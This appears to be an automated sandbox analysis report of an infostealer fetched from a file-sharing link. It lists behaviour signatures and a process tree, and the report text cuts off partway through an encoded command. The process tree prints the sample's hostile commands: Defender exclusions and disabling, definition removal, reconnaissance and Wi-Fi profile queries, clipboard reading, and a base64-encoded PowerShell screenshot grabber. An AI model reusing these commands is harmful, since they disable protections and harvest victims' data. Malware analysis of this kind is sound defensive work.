Analysis

  • max time kernel
    64s
  • max time network
    66s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-06-2024 02:30

General

  • Target

    https://mega.nz/file/EGsRAbwJ#dePcRyBxHs1XL7mROQbIBmYN6TD2zSNYCmXrwBsKg_I

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 16 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 18 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://mega.nz/file/EGsRAbwJ#dePcRyBxHs1XL7mROQbIBmYN6TD2zSNYCmXrwBsKg_I
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff80776ab58,0x7ff80776ab68,0x7ff80776ab78
      2⤵
        PID:2264
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1708 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:2
        2⤵
          PID:3064
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
          2⤵
            PID:3388
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2224 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
            2⤵
              PID:4404
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3064 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:1
              2⤵
                PID:4868
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3076 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:1
                2⤵
                  PID:4944
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4580 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                  2⤵
                    PID:4160
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4712 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                    2⤵
                      PID:2380
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3608 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                      2⤵
                        PID:656
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5148 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                        2⤵
                          PID:3424
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5196 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                          2⤵
                            PID:3364
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5544 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                            2⤵
                              PID:4928
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5536 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                              2⤵
                                PID:532
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5520 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                                2⤵
                                  PID:2292
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5164 --field-trial-handle=1912,i,432278575504708354,15505807357311599912,131072 /prefetch:8
                                  2⤵
                                    PID:556
                                  • C:\Users\Admin\Downloads\Jit.exe
                                    "C:\Users\Admin\Downloads\Jit.exe"
                                    2⤵
                                    • Executes dropped EXE
                                    PID:4428
                                    • C:\Users\Admin\Downloads\Jit.exe
                                      "C:\Users\Admin\Downloads\Jit.exe"
                                      3⤵
                                      • Drops file in Drivers directory
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      PID:4328
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Jit.exe'"
                                        4⤵
                                          PID:2636
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Downloads\Jit.exe'
                                            5⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:4604
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                          4⤵
                                            PID:1100
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                              5⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:2936
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
                                            4⤵
                                              PID:2404
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
                                                5⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3632
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "start bound.exe"
                                              4⤵
                                                PID:1448
                                                • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                                  bound.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:2688
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                4⤵
                                                  PID:3496
                                                  • C:\Windows\system32\tasklist.exe
                                                    tasklist /FO LIST
                                                    5⤵
                                                    • Enumerates processes with tasklist
                                                    PID:2716
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                  4⤵
                                                    PID:5100
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic csproduct get uuid
                                                      5⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2220
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                    4⤵
                                                      PID:5216
                                                      • C:\Windows\system32\reg.exe
                                                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                        5⤵
                                                          PID:5268
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                        4⤵
                                                          PID:5304
                                                          • C:\Windows\system32\reg.exe
                                                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                            5⤵
                                                              PID:5360
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                            4⤵
                                                              PID:5376
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                5⤵
                                                                • Detects videocard installed
                                                                PID:5436
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                              4⤵
                                                                PID:5468
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic path win32_VideoController get name
                                                                  5⤵
                                                                  • Detects videocard installed
                                                                  PID:5528
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ​.scr'"
                                                                4⤵
                                                                  PID:5568
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\    ​.scr'
                                                                    5⤵
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5620
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                  4⤵
                                                                    PID:5768
                                                                    • C:\Windows\system32\tasklist.exe
                                                                      tasklist /FO LIST
                                                                      5⤵
                                                                      • Enumerates processes with tasklist
                                                                      PID:5932
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                    4⤵
                                                                      PID:5788
                                                                      • C:\Windows\system32\tasklist.exe
                                                                        tasklist /FO LIST
                                                                        5⤵
                                                                        • Enumerates processes with tasklist
                                                                        PID:5936
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                      4⤵
                                                                        PID:5992
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                          5⤵
                                                                            PID:4208
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                          4⤵
                                                                            PID:6012
                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell Get-Clipboard
                                                                              5⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:4712
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                            4⤵
                                                                              PID:6036
                                                                              • C:\Windows\system32\tasklist.exe
                                                                                tasklist /FO LIST
                                                                                5⤵
                                                                                • Enumerates processes with tasklist
                                                                                PID:5212
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                              4⤵
                                                                                PID:6068
                                                                                • C:\Windows\system32\tree.com
                                                                                  tree /A /F
                                                                                  5⤵
                                                                                    PID:3848
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                  4⤵
                                                                                    PID:6104
                                                                                    • C:\Windows\system32\netsh.exe
                                                                                      netsh wlan show profile
                                                                                      5⤵
                                                                                        PID:3148
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                      4⤵
                                                                                        PID:3996
                                                                                        • C:\Windows\system32\systeminfo.exe
                                                                                          systeminfo
                                                                                          5⤵
                                                                                          • Gathers system information
                                                                                          PID:4760
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                        4⤵
                                                                                          PID:3632
                                                                                          • C:\Windows\system32\tree.com
                                                                                            tree /A /F
                                                                                            5⤵
                                                                                              PID:5412
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                                                                                            4⤵
                                                                                              PID:396
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                                                                                                5⤵
                                                                                                  PID:5492
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                4⤵
                                                                                                  PID:1992
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGw